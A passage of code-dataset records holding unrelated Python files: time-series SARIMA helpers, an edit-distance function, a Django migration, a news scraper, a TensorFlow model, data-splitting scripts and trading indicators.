\n\n ## Generate dictionary to store results\n split_dict = {}\n\n ## Split the data based on datatype (numeric vs. string)\n if type(split_point) == float:\n tts_cutoff = round(data.shape[0]*split_point)\n train = data.iloc[:tts_cutoff]\n test = data.iloc[tts_cutoff:]\n\n elif split_point == int:\n train = data.iloc[:split_point]\n test = data.iloc[split_point:]\n\n else:\n train = data.iloc[:split_point]\n test = data.iloc[split_point:]\n\n ## Generate visualization of train/test split\n fig,ax=plt.subplots(figsize = figsize)\n\n ax = train.plot(label='Training Data')\n test.plot(ax=ax, label='Testing Data')\n ax.set(xlabel = xlabel, ylabel = ylabel, title = f'{title} {data.name}: Train/Test Split')\n ax.axvline(train.index[-1], linestyle=':', c='k',\n label=f'Split Date: {train.index[-1].year}/{train.index[-1].month}/{train.index[-1].day}')\n ax.legend()\n\n if show_vis is True:\n plt.show(fig)\n\n plt.close(fig)\n\n split_dict['train'] = train\n split_dict['test'] = test\n split_dict['split_fig'] = fig\n \n return split_dict\n\n\n## Generate best model parameters via auto_arima\ndef auto_arima_model(timeseries_dataset, m = 12, start_p=0,max_p=5,\n start_q=0,max_q=5,start_P=0,\n start_Q=0, max_P=5, max_Q = 5):\n \n \"\"\"Fits an auto_arima model to a given timeseries dataset.\n\n Args:\n timeseries_dataset (Series/DataFrame): dataset for modeling\n m (int): The number of periods in each season (for seasonal differencing).\n start_p (int, optional): Starting value for \"p\". Defaults to 0.\n max_p (int, optional): Max value for \"p\". Defaults to 3.\n start_q (int, optional): Starting value for \"pq. Defaults to 0.\n max_q (int, optional): Max value for \"q\". Defaults to 3.\n start_P (int, optional): Starting value for \"P\". Defaults to 0.\n start_Q (int, optional): Starting value for \"Q\". Defaults to 0.\n max_P (int, optional): Max value for \"P\". Defaults to 3.\n max_Q (int, optional): Max value for \"Q\". Defaults to 3.\n\n Returns:\n auto_arima_model: Fitted auto_arima model for use in SARIMAX modeling.\n \"\"\" \n\n ## Determine d, D values for SARIMA model\n n_d = ndiffs(timeseries_dataset)\n n_D = nsdiffs(timeseries_dataset, m=m)\n\n auto_arima_model = pmd.auto_arima(timeseries_dataset,m = m,\n start_p = start_p,max_p = max_p,\n start_q = start_q, max_q = max_q,\n start_P = start_P, max_P = max_P,\n start_Q = start_Q, max_Q = max_Q,\n d = n_d, D = n_D, error_action=\"ignore\")\n\n return auto_arima_model\n\n## Create new SARIMA model via Statsmodels with pre-created auto_ARIMA model\ndef create_best_model(timeseries_dataset, m, \n start_p=0, max_p=5, start_q=0, max_q=5,\n start_P=0, start_Q=0, max_P=5, max_Q=5,\n show_vis=True, figsize=(10,5)):\n\n \"\"\"Calculates best model parameters via auto-arima,\n then fits a new SARIMAX model for results.\n\n Args:\n timeseries_dataset (Series/DataFrame): dataset for modeling\n m (int): The number of periods in each season (for seasonal differencing)\n start_p (int, optional): Starting value for \"p\". Defaults to 0.\n max_p (int, optional): Max value for \"p\". Defaults to 3.\n start_q (int, optional): Starting value for \"pq. Defaults to 0.\n max_q (int, optional): Max value for \"q\". Defaults to 3.\n start_P (int, optional): Starting value for \"P\". Defaults to 0.\n start_Q (int, optional): Starting value for \"Q\". Defaults to 0.\n max_P (int, optional): Max value for \"P\". Defaults to 3.\n max_Q (int, optional): Max value for \"Q\". Defaults to 3.\n show_vis (boolean, optional): Whether to show the model summary and plot diagnostics. Defaults to False.\n\n Returns:\n auto_model, best_model: auto_arima-generated model with best parameters,\n SARIMAX model using best parameters.\n \"\"\"\n\n ## Determine d, D values for SARIMA model\n n_d = ndiffs(timeseries_dataset)\n n_D = nsdiffs(timeseries_dataset, m=m)\n\n auto_model_best = pmd.auto_arima(timeseries_dataset,m = m,\n start_p = start_p,max_p = max_p,\n start_q = start_q, max_q = max_q,\n start_P = start_P, max_P = max_P,\n start_Q = start_Q, max_Q = max_Q,\n d = n_d, D = n_D, error_action=\"ignore\")\n \n best_model = tsa.SARIMAX(timeseries_dataset,order=auto_model_best.order,\n seasonal_order = auto_model_best.seasonal_order,\n enforce_invertibility=False).fit()\n \n if show_vis is True:\n display(auto_model_best.summary())\n display(model_performance(best_model, show_vis=True, figsize=figsize))\n plt.show()\n \n plt.close()\n\n return auto_model_best, best_model\n\n\n## Display model results\ndef model_performance(ts_model, show_vis = False, figsize = (12, 6)):\n \"\"\"Displays a fitted model's summary and plot diagnostics.\n\n Args:\n ts_model (model): fitted model for evaluation\n \"\"\" \n perf = {}\n\n perf['summary'] = ts_model.summary()\n\n perf['vis'] = ts_model.plot_diagnostics(figsize = figsize)\n\n if show_vis == True:\n plt.show(perf['vis'])\n\n plt.close(perf['vis'])\n\n return perf\n\n\n## Using get_forecast to generate forecasted data\ndef forecast_and_ci(model, test_data, alpha=0.05):\n \"\"\"Generates forecasted data and the upper/lower confidence intervals for forecast.\n\n Args:\n model (Statsmodels SARIMA model): fitted SARIMA model\n test_data (Series): Test data used for evaluation\n\n Returns:\n DataFrame: Forecast results and upper/lower confidence intervals.\n \"\"\"\n\n forecast = model.get_forecast(steps=len(test_data))\n forecast_df = forecast.conf_int(alpha=alpha)\n forecast_df.columns = ['Lower CI','Upper CI']\n forecast_df['Forecast'] = forecast.predicted_mean\n\n return forecast_df\n\n## Plotting training, testing datasets\ndef plot_forecast_ttf(split_dict, forecast_df, xlabel, ylabel, title, figsize = (10,5), show_vis = True):\n \"\"\"Visualizes the results of a train/test split with the training forecast overlaid\n to compare against the test set.\n\n Args:\n split_dict (dictionary): Dictionary generated by train/test split function\n forecast_df (DataFrame): DataFrame of forecasted results.\n xlabel (str): Label for x-axis\n ylabel (str): Label for y-axis\n title (str): Label for title.\n figsize (tuple, optional): Matplotlib figure size. Defaults to (10,5).\n show_vis (bool, optional): Boolean control to show visualizations. Defaults to True.\n\n Returns:\n [type]: [description]\n \"\"\" \n\n train = split_dict.get('train')\n test = split_dict.get('test')\n\n last_n_lags=len(train)\n \n fig,ax=plt.subplots(figsize = figsize)\n\n train.iloc[-last_n_lags:].plot(label='Training Data', ax=ax)\n test.plot(label='Test Data', ax=ax)\n\n ## Plotting forecasted data and confidence intervals\n forecast_df['Forecast'].plot(label='Forecast', color='g', ax=ax)\n ax.fill_between(forecast_df.index,forecast_df['Lower CI'],\n forecast_df['Upper CI'],color='y',alpha=0.275)\n ax.set(xlabel = xlabel, ylabel = ylabel, title = f'{title} {train.name}: Validating Forecast')\n ax.axvline(test.index[0], linestyle=\":\",\n label=f'Beginning of Forecast: {test.index[0].year} - {test.index[0].month}',\n color='k')\n ax.legend(loc='upper left')\n \n ttf_dict = {}\n ttf_dict['vis'] = fig\n\n if show_vis == True:\n plt.show()\n \n plt.close()\n\n return ttf_dict\n\n\n## Plotting training, testing datasets\ndef plot_forecast_final(data, forecast_df, xlabel, ylabel, title, figsize = (10,5), show_vis = True):\n \"\"\"Visualizes the forecasted values from a time series model alongside the original data\n\n Args:\n data (Series): Pandas Series with a datetime index for forecasting\n forecast_df (DataFrame): Forecast results.\n figsize (tuple, optional): Matplotlib figure size. Defaults to (10,5).\n show_vis (bool, optional): Boolean control to show visualization. Defaults to True.\n\n Returns:\n figure : Matplotlib figure\n \"\"\" \n \n ## Plotting original data and forecasted results\n fig,ax=plt.subplots(figsize = figsize)\n\n ## Plotting original data\n data.plot(ax=ax, label='Original Data')\n\n ## Plotting forecasted data and confidence intervals\n forecast_df['Forecast'].plot(ax=ax,label='Forecast', color='g')\n ax.fill_between(forecast_df.index,forecast_df['Lower CI'],\n forecast_df['Upper CI'],color='y',alpha=0.275)\n ax.set(xlabel={xlabel}, ylabel={ylabel}, title = f'{title} {data.name}: Forecast Results')\n ax.axvline(data.index[-1], linestyle=\":\",\n label=f'Beginning of Forecast: {data.index[-1].year}'+'-'+f'{data.index[-1].month}',\n color='k')\n ax.legend(loc='upper left')\n\n if show_vis == True:\n plt.show()\n\n plt.close()\n\n return fig\n\n\n### --------------- Workflow --------------- ###\n\ndef ts_modeling_workflow(data, threshold, m, xlabel, ylabel, title, figsize = (10,5), alpha=0.05, show_vis = True):\n\n tsa_results = {}\n metrics = {}\n forecast_vis = {}\n\n ## Split dataset\n split_dict = train_test_split(data, threshold, xlabel = xlabel, ylabel = ylabel, title = title,\n show_vis = show_vis, figsize=figsize)\n\n train = split_dict.get('train')\n test = split_dict.get('test')\n split_vis = split_dict.get('split_vis')\n \n if show_vis == True:\n plt.show()\n plt.close()\n\n ## Generating auto_arima model and SARIMAX model\n auto_model_train, best_model_train = create_best_model(timeseries_dataset = train, m=m, show_vis=show_vis)\n \n ## Saving training model results\n metrics['train'] = model_performance(best_model_train)\n\n vis = metrics.get('train').get('vis')\n\n if show_vis == True:\n plt.show()\n plt.close()\n\n ## Generating dataframe to store forecast results\n forecast_train = forecast_and_ci(best_model_train, test, alpha=alpha)\n\n ## Plotting forecast results against train/test split\n forecast_vis['train'] = plot_forecast_ttf(split_dict, forecast_df = forecast_train,\n xlabel = xlabel, ylabel = ylabel, title = title,\n figsize=figsize, show_vis = show_vis)\n\n vis = forecast_vis.get('train').get('vis')\n\n if show_vis == True:\n plt.show()\n plt.close()\n\n ## Fitting best model using whole dataset\n best_model_full = tsa.SARIMAX(data,order=auto_model_train.order,\n seasonal_order = auto_model_train.seasonal_order,\n enforce_invertibility=False).fit()\n\n metrics['full'] = model_performance(best_model_full, show_vis = show_vis)\n \n vis = metrics.get('vis')\n\n if show_vis == True:\n plt.show(vis)\n plt.close(vis)\n\n ## Generating forecast\n best_forecast = forecast_and_ci(best_model_full, test, alpha=alpha)\n\n tsa_results['forecasted_data'] = best_forecast\n\n ## Plotting original data and forecast results\n forecast_vis['full'] = plot_forecast_final(data, tsa_results['forecasted_data'],\n xlabel = xlabel, ylabel = ylabel, title = title,\n figsize=figsize, show_vis= show_vis)\n \n plt.show(forecast_vis['full'])\n\n # ## Calculating investment cost and ROI across dataframe\n # investment_cost = tsa_results['forecasted_prices'].iloc[0,2]\n # tsa_results['roi'] = (tsa_results['forecasted_prices'] - investment_cost)/investment_cost*100\n \n tsa_results['model'] = best_model_full\n tsa_results['forecast_length'] = len(split_dict['test'])\n tsa_results['model_metrics'] = metrics\n tsa_results['model_visuals'] = forecast_vis\n \n plt.close()\n\n return tsa_results","sub_path":"bmc_functions/time_series_modeling.py","file_name":"time_series_modeling.py","file_ext":"py","file_size_in_byte":16950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"532674339","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/4/14 下午3:50\n# @Author : pengyuan.li\n# @Site : \n# @File : 15.4editDistance.py\n# @Software: PyCharm\n\n\ndef Levenshtein_Distance(str1, str2):\n \"\"\"\n 计算字符串 str1 和 str2 的编辑距离\n :param str1\n :param str2\n :return:\n \"\"\"\n matrix = [[i + j for j in range(len(str2) + 1)] for i in range(len(str1) + 1)]\n\n for i in range(1, len(str1) + 1):\n for j in range(1, len(str2) + 1):\n if str1[i - 1] == str2[j - 1]:\n d = 0\n else:\n d = 1\n\n matrix[i][j] = min(matrix[i - 1][j] + 1, matrix[i][j - 1] + 1, matrix[i - 1][j - 1] + d)\n\n return matrix[len(str1)][len(str2)] / max(len(str1), len(str2))\n\n\ns1 = \"0481 joao maciel filho haroldo camilo 481\"\ns2 = \"aven joao maciel filho 40801 haroldo camilo 481\"\n\ns1 = \"alessandra silva\"\ns2 = \"alessandra silva\"\nprint(Levenshtein_Distance(s1, s2), max(len(s1), len(s2)))\n\n# 编辑距离越小,两字段越相似\n","sub_path":"leetcode/algorithm_introduction/15.4editDistance.py","file_name":"15.4editDistance.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"570955844","text":"from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('reader', '0008_chapter_views')]\n\n operations = [\n migrations.AlterField(\n model_name='chapter',\n name='modified',\n field=models.DateTimeField(auto_now=True, db_index=True),\n ),\n migrations.AlterField(\n model_name='series',\n name='created',\n field=models.DateTimeField(auto_now_add=True),\n ),\n migrations.AlterField(\n model_name='series',\n name='modified',\n field=models.DateTimeField(auto_now=True, db_index=True),\n ),\n migrations.AlterUniqueTogether(\n name='alias',\n unique_together=set(),\n ),\n migrations.AlterUniqueTogether(\n name='chapter',\n unique_together=set(),\n ),\n migrations.AddConstraint(\n model_name='alias',\n constraint=models.UniqueConstraint(\n fields=('name', 'content_type', 'object_id'),\n name='unique_alias_content_object'\n ),\n ),\n migrations.AddConstraint(\n model_name='chapter',\n constraint=models.UniqueConstraint(\n fields=('series', 'volume', 'number'),\n name='unique_chapter_number'\n ),\n ),\n migrations.AddConstraint(\n model_name='chapter',\n constraint=models.CheckConstraint(\n check=models.Q(('number__gte', 0)),\n name='chapter_number_positive'\n ),\n ),\n migrations.AddConstraint(\n model_name='page',\n constraint=models.CheckConstraint(\n check=models.Q(('number__gte', 1)),\n name='page_number_nonzero'\n ),\n ),\n ]\n","sub_path":"reader/migrations/0009_constraints.py","file_name":"0009_constraints.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"172787252","text":"\n\nimport argparse\nimport logging\nimport datetime\nimport csv\nlogging.basicConfig(level=logging.INFO)\nimport re\n\nfrom requests.exceptions import HTTPError\nfrom urllib3.exceptions import MaxRetryError\n\nimport news_page_objets as news\nfrom common import config\n\nis_well_formed_link = re.compile(r'^https?://.+/.+$') #https://example.com/hello\nis_root_path = re.compile(r'^/.+$') # /some-text\n\nlogger = logging.getLogger(__name__)\n\ndef _news_scraper(news_site_uid):\n host = config()['news_sites'][news_site_uid]['url']\n\n logging.info('Beginning scraper fo {}'.format(host))\n logging.info('Finding links in homepage...')\n\n homepage = news.HomePage(news_site_uid, host)\n\n articles = []\n for link in homepage.article_links:\n article = _fetch_article(news_site_uid, host, link)\n\n if article:\n logger.info('Article fetched!!')\n articles.append(article)\n #break\n\n _save_articles(news_site_uid, articles)\n\ndef _save_articles(news_site_uid, articles):\n now = datetime.datetime.now().strftime('%Y_%m_%d')\n out_file_name = '{news_site_uid}_{datetime}_article.csv'.format(\n news_site_uid = news_site_uid,\n datetime = now )\n csv_headers = list(filter(lambda property: not property.startswith('_'), dir(articles[0])))\n\n with open(out_file_name, mode='w+') as f:\n writer = csv.writer(f) #recibe el archivo\n writer.writerow(csv_headers)\n\n for article in articles:\n row = [str(getattr(article, prop)) for prop in csv_headers]\n writer.writerow(row)\n\n\ndef _fetch_article(news_site_uid, host, link):\n logger.info('Start fetching artticle at {}'.format(link))\n\n article = None\n try:\n article = news.ArticlePage(news_site_uid, _build_link(host, link))\n except (HTTPError, MaxRetryError) as e:\n logger.warn('error while fetching the article', exc_info=False)\n\n if article and not article.body:\n logger.warn('Invalid article. There is no body')\n return None\n\n return article\n\n\ndef _build_link(host, link):\n if is_well_formed_link.match(link):\n return link\n elif is_root_path.match(link):\n return '{}{}'.format(host, link)\n else:\n return '{host}/{url}'.format(host=host, url=link) #este es otro formato para imprimir\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n news_site_choices = list(config()['news_sites'].keys())\n parser.add_argument('news_site',\n help = 'The news site that you want to scrape',\n type = str,\n choices = news_site_choices)\n\n args = parser.parse_args()\n _news_scraper(args.news_site)\n","sub_path":"extract/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"607961764","text":"import json\nimport datetime\n\ndef readConfig(fullpath = None):\n\t#os.chdir('C:/Users/chrisb/OneDrive - Leesa/jobs/analytics_misc/api')\n\t#reads in local conf file -- assumes in same directory\n\tif fullpath is None:\n\t\tfullpath = 'config.json'\n\twith open(fullpath) as f:\n\t\tread_data = f.read()\n\tf.closed\n\tconf = json.loads(read_data)\n\treturn conf\n\t\ndef validDate(date_text):\n\ttry:\n\t\tdatetime.datetime.strptime(date_text, '%Y-%m-%d')\n\t\treturn True\n\texcept ValueError:\n\t\treturn False\n\ndef getURLinfo(s):\n\t\"\"\" split 1 : removes everything before /api/\n\t\tsplit 2 : removes everthing after ?\n\t\tsplit 3 : gets elements in list\n\t\treturns dict\n\t\"\"\"\n\telements = s.split('/api/')[1].split('?')[0].split('/')\n\treturn {\"api_key\" : elements[0], \"resource\" : elements[1], \"version\" : elements[2]}","sub_path":"2018-10_api_flask_ml/resources/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"372396360","text":"from lib import *\nfrom validercorde import validerCorde\nimport random as r\n\nfrom display import *\n\ns = [Point(-9,3), Point(-2,5), Point(0,4), Point(1,1), Point(-1,-2), Point(-4,-4), Point(-9,-1), Point(-10,1)]\n\ndef essaisSuccessifs():\n\tc = []\n\tfor i in range(len(s)):\n\t\tpossible = []\n\t\tfor j in range(len(s)):\n\t\t\t#print(i,j)\n\t\t\tif validerCorde(c,len(s),i,j):\n\t\t\t\tpossible.append((i,j))\n\t\tif len(possible)>0:\n\t\t\tc.append(possible[r.randint(0,len(possible)-1)])\n\treturn c\n\n#for i in range(10):\n#\ta = essaisSuccessifs()\n#\tprint(a)\n#\tif (len(a)==len(s)-3):\n#\t\tprint(\"On obtient une triangulation valide !\")\n#\telse:\n#\t\tprint(\"On obtient une triangulation non valide !\")\n#\tdisplayWithCorde(s,a)\n\n\n","sub_path":"code/essaissuccessifs.py","file_name":"essaissuccessifs.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201366546","text":"import numpy as np \nimport pickle as pk \n\n\"\"\"Split the original data to specific type to re-train\"\"\"\n\nhc1 = []\nhc1_corr = []\nhc1_mat = []\nhc1_scar = []\nhc1_pred = []\nc_hc1 = 1\n\nhn1 = []\nhn1_corr = []\nhn1_mat = []\nhn1_scar = []\nhn1_pred = []\nc_hn1 = 1\n\nhc2 = []\nhc2_corr = []\nhc2_mat = []\nhc2_scar = []\nhc2_pred = []\nc_hc2 = 1\n\nhh2 = []\nhh2_corr = []\nhh2_mat = []\nhh2_scar = []\nhh2_pred = []\nc_hh2 = 1\n\nhn2 = []\nhn2_corr = []\nhn2_mat = []\nhn2_scar = []\nhn2_pred = []\nc_hn2 = 1\n\nhc3 = []\nhc3_corr = []\nhc3_mat = []\nhc3_scar = []\nhc3_pred = []\nc_hc3 = 1\n\nhh3 = []\nhh3_corr = []\nhh3_mat = []\nhh3_scar = []\nhh3_pred = []\nc_hh3 = 1\n\nhn3 = []\nhn3_corr = []\nhn3_mat = []\nhn3_scar = []\nhn3_pred = []\nc_hn3 = 1\n\n# path of original data\npath = '/mydata/quang/champs_data/shuffle_data/'\n# path to save data\npath_save = '/home/quang/work/champs/champs_data/data_pair_type/'\nfor x in range(1,11):\n print('loading', x)\n with open(path+'pair_matrix_train_'+str(x), 'rb') as fp:\n data = (pk.load(fp))\n for y in range(len(data[1])):\n\n ###############################\n if data[1][y]=='1JHC':\n hc1_corr.append(data[0][0][0][y])\n hc1_mat.append(data[0][0][1][y])\n hc1_scar.append(data[0][1][0][y])\n hc1_pred.append(data[0][1][1][y])\n if len(hc1_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hc1_corr), np.array(hc1_mat)], [np.array(hc1_scar), np.array(hc1_pred)]]\n # out = out\n print('1JHC', len(hc1_corr))\n with open(path_save+'train_1JHC_'+str(c_hc1), 'wb') as fp:\n pk.dump(out, fp)\n c_hc1+=1\n hc1_corr = []\n hc1_mat = []\n hc1_scar = []\n hc1_pred = []\n ################################\n\n if data[1][y]=='1JHN':\n hn1_corr.append(data[0][0][0][y])\n hn1_mat.append(data[0][0][1][y])\n hn1_scar.append(data[0][1][0][y])\n hn1_pred.append(data[0][1][1][y])\n if len(hn1_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hn1_corr), np.array(hn1_mat)], [np.array(hn1_scar), np.array(hn1_pred)]]\n # out = out\n print('1JHN', len(hn1_corr))\n with open(path_save+'train_1JHN_'+str(c_hn1), 'wb') as fp:\n pk.dump(out, fp)\n c_hn1+=1\n hn1_corr = []\n hn1_mat = []\n hn1_scar = []\n hn1_pred = []\n ###################################\n\n if data[1][y]=='2JHC':\n hc2_corr.append(data[0][0][0][y])\n hc2_mat.append(data[0][0][1][y])\n hc2_scar.append(data[0][1][0][y])\n hc2_pred.append(data[0][1][1][y])\n if len(hc2_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hc2_corr), np.array(hc2_mat)], [np.array(hc2_scar), np.array(hc2_pred)]]\n # out = out\n print('2JHC', len(hc2_corr))\n with open(path_save+'train_2JHC_'+str(c_hc2), 'wb') as fp:\n pk.dump(out, fp)\n c_hc2+=1\n hc2_corr = []\n hc2_mat = []\n hc2_scar = []\n hc2_pred = []\n #######################################################\n if data[1][y]=='2JHH':\n hh2_corr.append(data[0][0][0][y])\n hh2_mat.append(data[0][0][1][y])\n hh2_scar.append(data[0][1][0][y])\n hh2_pred.append(data[0][1][1][y])\n if len(hh2_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hh2_corr), np.array(hh2_mat)], [np.array(hh2_scar), np.array(hh2_pred)]]\n # out = out\n print('2JHH', len(hh2_corr))\n with open(path_save+'train_2JHH_'+str(c_hh2), 'wb') as fp:\n pk.dump(out, fp)\n c_hh2+=1\n hh2_corr = []\n hh2_mat = []\n hh2_scar = []\n hh2_pred = []\n\n ######################################################\n\n if data[1][y]=='2JHN':\n hn2_corr.append(data[0][0][0][y])\n hn2_mat.append(data[0][0][1][y])\n hn2_scar.append(data[0][1][0][y])\n hn2_pred.append(data[0][1][1][y])\n if len(hn2_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hn2_corr), np.array(hn2_mat)], [np.array(hn2_scar), np.array(hn2_pred)]]\n # out = out\n print('2JHN', len(hn2_corr))\n with open(path_save+'train_2JHN_'+str(c_hn2), 'wb') as fp:\n pk.dump(out, fp)\n c_hn2+=1\n hn2_corr = []\n hn2_mat = []\n hn2_scar = []\n hn2_pred = []\n \n #######################################################\n\n if data[1][y]=='3JHC':\n hc3_corr.append(data[0][0][0][y])\n hc3_mat.append(data[0][0][1][y])\n hc3_scar.append(data[0][1][0][y])\n hc3_pred.append(data[0][1][1][y])\n if len(hc3_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hc3_corr), np.array(hc3_mat)], [np.array(hc3_scar), np.array(hc3_pred)]]\n # out = out\n print('3JHC', len(hc3_corr))\n with open(path_save+'train_3JHC_'+str(c_hc3), 'wb') as fp:\n pk.dump(out, fp)\n c_hc3+=1\n hc3_corr = []\n hc3_mat = []\n hc3_scar = []\n hc3_pred = []\n\n #######################################################\n \n if data[1][y]=='3JHH':\n hh3_corr.append(data[0][0][0][y])\n hh3_mat.append(data[0][0][1][y])\n hh3_scar.append(data[0][1][0][y])\n hh3_pred.append(data[0][1][1][y])\n if len(hh3_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hh3_corr), np.array(hh3_mat)], [np.array(hh3_scar), np.array(hh3_pred)]]\n # out = out\n print('3JHH', len(hh3_corr))\n with open(path_save+'train_3JHH_'+str(c_hh3), 'wb') as fp:\n pk.dump(out, fp)\n c_hh3+=1\n hh3_corr = []\n hh3_mat = []\n hh3_scar = []\n hh3_pred = []\n \n #######################################################\n\n if data[1][y]=='3JHN':\n hn3_corr.append(data[0][0][0][y])\n hn3_mat.append(data[0][0][1][y])\n hn3_scar.append(data[0][1][0][y])\n hn3_pred.append(data[0][1][1][y])\n if len(hn3_corr)>= 50000 or (x==10 and y==len(data[1])-1):\n out = [[np.array(hn3_corr), np.array(hn3_mat)], [np.array(hn3_scar), np.array(hn3_pred)]]\n # out = out\n print('3JHN', len(hn3_corr))\n with open(path_save+'train_3JHN_'+str(c_hn3), 'wb') as fp:\n pk.dump(out, fp)\n c_hn3+=1\n hn3_corr = []\n hn3_mat = []\n hn3_scar = []\n hn3_pred = []\n\n\n\n","sub_path":"split_data.py","file_name":"split_data.py","file_ext":"py","file_size_in_byte":6929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374310579","text":"import tensorflow as tf\nimport model_func as mf\n\ndef inference(feature, output_shape, keep_prob, is_train):\n b, h, w, c= feature.get_shape().as_list()\n wd = 0.0\n leaky_param = 0.01\n deconv1_shape = [b, 116, 79, c]\n deconv1 = mf.deconvolution_2d_layer(feature, [3, 3, 512, c], [2,2], [b, 17, 17, 512], 'VALID', wd, 'deconv1')\n deconv1_relu = mf.add_leaky_relu(deconv1, leaky_param)\n\n deconv2 = mf.deconvolution_2d_layer(deconv1_relu, [3, 3, 256, 512], [2,2], [b, 36, 36, 256], 'VALID', wd, 'deconv2')\n deconv2_relu = mf.add_leaky_relu(deconv2, leaky_param)\n\n deconv3 = mf.deconvolution_2d_layer(deconv2_relu, [3, 3, 128, 256], [2,2], [b, 74, 74, 128], 'VALID', wd, 'deconv3')\n deconv3_relu = mf.add_leaky_relu(deconv3, leaky_param)\n\n deconv4 = mf.deconvolution_2d_layer(deconv3_relu, [3, 3, 64, 128], [2,2], [b, 149, 149, 64], 'VALID', wd, 'deconv4')\n deconv4_relu = mf.add_leaky_relu(deconv4, leaky_param)\n\n deconv5 = mf.deconvolution_2d_layer(deconv4_relu, [3, 3, 32, 64], [2,2], [b, 299, 299, 32], 'VALID', wd, 'deconv5')\n deconv5_relu = mf.add_leaky_relu(deconv5, leaky_param)\n\n deconv6 = mf.deconvolution_2d_layer(deconv5, [3, 3, 1, 32], [1,1], [b, 299, 299, 1], 'SAME', wd, 'deconv6')\n\n return deconv6\n\ndef test_infer_size(label):\n conv1 = mf.convolution_2d_layer(label, [3,3,1,1], [1,2,2,1], 'VALID', 0.0, 'conv1')\n print(conv1)\n conv2 = mf.convolution_2d_layer(conv1, [3,3,1,1], [1,2,2,1], 'VALID', 0.0, 'conv2')\n print(conv2)\n conv3 = mf.convolution_2d_layer(conv2, [3,3,1,1], [1,2,2,1], 'VALID', 0.0, 'conv3')\n print(conv3)\n conv4 = mf.convolution_2d_layer(conv3, [3,3,1,1], [1,2,2,1], 'VALID', 0.0, 'conv4')\n print(conv4)\n conv5 = mf.convolution_2d_layer(conv4, [3,3,1,1], [1,2,2,1], 'VALID', 0.0, 'conv5')\n print(conv5)\n exit(1) \n\ndef loss(infer, label):\n l2_loss = mf.l2_loss(infer, label, 'SUM', 'l2_loss')\n tf.add_to_collection('losses', l2_loss)\n return tf.add_n(tf.get_collection('losses'), name = 'total_loss')\n \ndef train_op(loss, learning_rate, global_step):\n optimizer = tf.train.AdamOptimizer(learning_rate, epsilon = 1.0)\n train_op = optimizer.minimize(loss, global_step = global_step)\n\n return train_op\n","sub_path":"nn_script/fcn_model.py","file_name":"fcn_model.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"206895199","text":"import sys\nfrom dagstermill import DagstermillError\n\n\ndef notebook_test(f):\n # import this on demand so that main module does not require pytest if this is not called\n import pytest\n\n # mark this with the \"notebook_test\" tag so that they can be all be skipped\n # (for performance reasons) and mark them as python3 only\n\n # In our circleci environment we get periodic and annoying failures\n # where we get this error and its unclear why. We insert a\n # retry here\n def do_test_with_retry():\n try:\n f()\n except DagstermillError as de:\n if 'Kernel died before replying to kernel_info' in str(de):\n f()\n\n return pytest.mark.notebook_test(\n pytest.mark.skipif(\n sys.version_info < (3, 5),\n reason='''Notebooks execute in their own process and hardcode what \"kernel\" they use.\n All of the development notebooks currently use the python3 \"kernel\" so they will\n not be executable in a container that only have python2.7 (e.g. in CircleCI)\n ''',\n )(do_test_with_retry)\n )\n","sub_path":"python_modules/dagstermill/dagstermill/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"300805823","text":"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport time\n\ndef EMA(df, s, f):\n \"\"\"Function to calculate the EMAs\"\"\"\n df['EMA_slow'] = df['c'].ewm(span=s).mean()\n df['EMA_fast'] = df['c'].ewm(span=f).mean()\n return df\n \ndef ATR(DF,n):\n \"function to calculate True Range and Average True Range\"\n df = DF.copy()\n df['H-L']=abs(df['h']-df['l'])\n df['H-PC']=abs(df['h']-df['c'].shift(1))\n df['L-PC']=abs(df['l']-df['c'].shift(1))\n df['TR']=df[['H-L','H-PC','L-PC']].max(axis=1,skipna=False)\n df['ATR'] = df['TR'].rolling(n).mean()\n #df['ATR'] = df['TR'].ewm(span=n,adjust=False,min_periods=n).mean()\n df2 = df.drop(['H-L','H-PC','L-PC'],axis=1)\n return round(df2[\"ATR\"][-1], 3)","sub_path":"Strategies/EMA_MACD.py","file_name":"EMA_MACD.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"137834670","text":"import app\r\ndef insert():\r\n mydb = app.connection.connect()\r\n cursor = mydb.cursor()\r\n \r\n B_no = int(input('B_No: -> '))\r\n B_name = input('Name: -> ')\r\n B_address = input('Address: -> ')\r\n ph_No = input('Ph No: -> ')\r\n email = input('Email: -> ')\r\n B_date = input('Date(yyyy-mm-dd): -> ')\r\n cls = input('Class(eg:A CLASS)')\r\n \r\n cursor.execute(\"insert into booking 